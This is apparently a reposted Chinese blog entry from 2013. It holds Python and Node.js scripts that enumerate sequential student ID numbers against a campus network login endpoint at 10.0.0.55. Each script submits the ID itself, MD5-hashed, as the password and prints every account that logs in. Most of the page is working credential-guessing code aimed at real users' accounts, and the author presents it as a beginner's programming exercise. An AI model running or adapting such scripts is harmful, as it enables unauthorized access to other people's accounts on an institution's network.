您的位置:首页 > 其它

【安全】测试校园网认证系统帐号密码

2013-12-24 17:55 155 查看
Python版本

Python版本为3.3.2,好像现在还是2.*的天下,但貌似3.*要显得高大上,库和函数好像也略屌略简单一些;

初学Python,这是真正意义上写的第一个程序,很多地方都不熟练,特别是Python3语法和类型转换这块调试了很久 o(︶︿︶)o

下面代码完美运行无压力(*^__^*) 但好像效率有点低 .. 跑的没有NODE.JS快;

import urllib.parse,urllib.request,http.cookiejar
from hashlib import md5

def GetUrlRequest(usr):
pw = usr
m = md5()
m.update(pw)
form = {
'username':usr,
'password':m.hexdigest()[8:24],
'drop':'0',
'type':'1',
'n':'100'
}
postdata = urllib.parse.urlencode(form).encode(encoding = 'UTF8')
hostpath = 'http://10.0.0.55/cgi-bin/do_login'
header = {
'Content-Type':'application/X-www-form-urlencoded'
}
req = urllib.request.Request(
url = hostpath,
data = postdata,
headers = header
)
return urllib.request.urlopen(req).read().decode("UTF8")

name = b'1120130000'
for i in range(0,100):
if (GetUrlRequest(name) != 'username_error' and GetUrlRequest(name) != 'password_error'):
print('可用帐号')
print(name)
name_int = int(name)
name_int = name_int + 1
name_str = str(name_int)
name = name_str.encode()


NODE.JS版本

以下代码不能直接跑,缺少MD5加密算法实现,加上后就没问题了,由于MD5的javascript实现有点长,所以就不贴在这儿了;

var first = 1120130000;
var http = require('http');
var querystring = require('querystring');
var form = {
username:'',
password:'',
drop:0,
type:1,
n:100,
}
var contents = querystring.stringify(form);
var options = {
host:'10.0.0.55',
path:'/cgi-bin/do_login',
method:'POST',
headers:{
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':contents.length
}
};
var count = 0;
function sendOp(){
var pass=hex_md5(first+'').substr(8,16);
form.username = first;
form.password = pass;
contents = querystring.stringify(form);
options.headers['Content-Length'] = contents.length;
var req = http.request(options,function(res){
res.setEncoding('utf8');
res.on('data',function(data){
if(data != 'username_error' && data != 'password_error'){
console.log(first);
console.log(pass);
console.log(data);
console.log('\n');
}
count++;
if(count<100){
first++;
sendOp();
}
});
});
req.write(contents);
req.end();
}
sendOp();
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: